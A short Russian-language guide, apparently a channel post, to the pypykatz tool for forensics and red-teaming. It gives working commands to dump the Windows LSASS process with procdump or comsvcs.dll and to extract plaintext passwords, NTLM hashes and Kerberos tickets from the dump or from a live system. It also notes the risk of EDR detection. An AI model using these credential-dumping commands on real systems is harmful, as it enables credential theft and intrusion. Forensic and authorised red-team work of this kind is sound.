pypykatz — это мощный инструмент для форензики и ред-тиминга, предназначенный для извлечения учетных данных из дампов процесса LSASS в операционных системах Windows. Он написан на Python и является аналогом популярного mimikatz, но с открытым исходным кодом и кроссплатформенной реализацией
⚡️ Быстрый старт с pypykatz
1️⃣ Установка утилиты
Установите pypykatz через pip:
pip install pypykatz
Или клонируйте репозиторий с GitHub:
git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
pip3 install minidump minikerberos aiowinreg msldap winacl
python setup.py install
2️⃣ Получение дампа LSASS
Перед использованием pypykatz необходимо получить дамп процесса lsass.exe, например, с помощью:
⏺️Procdump (Windows)
procdump -ma lsass.exe lsass.dmp
⏺️Comsvcs.dll (Windows, встроенный метод)
rundll32.exe comsvcs.dll, MiniDump 1234 lsass.dmp full
Где 1234 — это PID процесса lsass.
⚠️ Обратите внимание: извлечение данных из LSASS может быть обнаружено антивирусами и EDR-системами.
3️⃣ Основные команды
После получения дампа вы можете использовать pypykatz следующим образом:
Анализ дампа памяти
pypykatz lsa minidump lsass.dmp
Эта команда выведет:
⏺️ Пользователей, чьи сессии были активны
⏺️ Пароли (если хранятся в открытом виде)
⏺️ NTLM-хэши
⏺️ Kerberos-токены
⏺️ SSP (Security Support Provider) данные
Работа с дампами в режиме JSON
pypykatz lsa minidump lsass.dmp -o json > creds.json
Полезно для автоматизированного анализа и последующей обработки скриптами.
4️⃣ Поддержка живого анализа (Experimental)
Также можно использовать pypykatz для живого анализа системы (только Windows и только с правами администратора):
pypykatz live lsa
⚠️ Используйте с осторожностью — может вызывать детектирование средствами защиты Windows.